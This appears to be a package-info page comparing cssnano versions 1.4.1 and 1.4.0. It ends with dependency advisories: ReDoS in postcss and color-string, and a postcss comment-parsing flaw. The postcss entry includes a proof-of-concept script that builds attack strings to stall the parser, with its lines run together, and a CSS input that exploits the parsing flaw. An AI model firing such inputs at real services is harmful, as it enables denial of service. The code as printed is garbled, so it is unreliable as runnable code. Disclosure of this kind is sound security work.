cssnano, a modular PostCSS-based minifier, saw a minor update with the release of version 1.4.1 following closely after version 1.4.0. Both versions share the same core functionality, aiming to reduce CSS file sizes for improved website performance. They rely on a suite of PostCSS plugins to achieve this, offering capabilities like removing comments, normalizing URLs, merging similar rules, and optimizing values.
A key highlight for developers is the modular design of cssnano, allowing customization by selectively enabling or disabling specific optimization plugins. This granular control ensures compatibility and avoids unwanted transformations. The dependency list is extensive and identical in both versions involving all the postcss plugins, indicating a stable plugin ecosystem is used for the minification.
The main difference between the two versions lies in the release date. Version 1.4.1 was released on June 14, 2015, subsequent to version 1.4.0, released on June 9, 2015. This suggests that version 1.4.1 is a patch which most likely fixes some bugs. While the extensive dependency list remains the same, indicating no major feature additions or breaking changes, developers will benefit from the latest bug fixes.
All the vulnerabilities related to the version 1.4.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.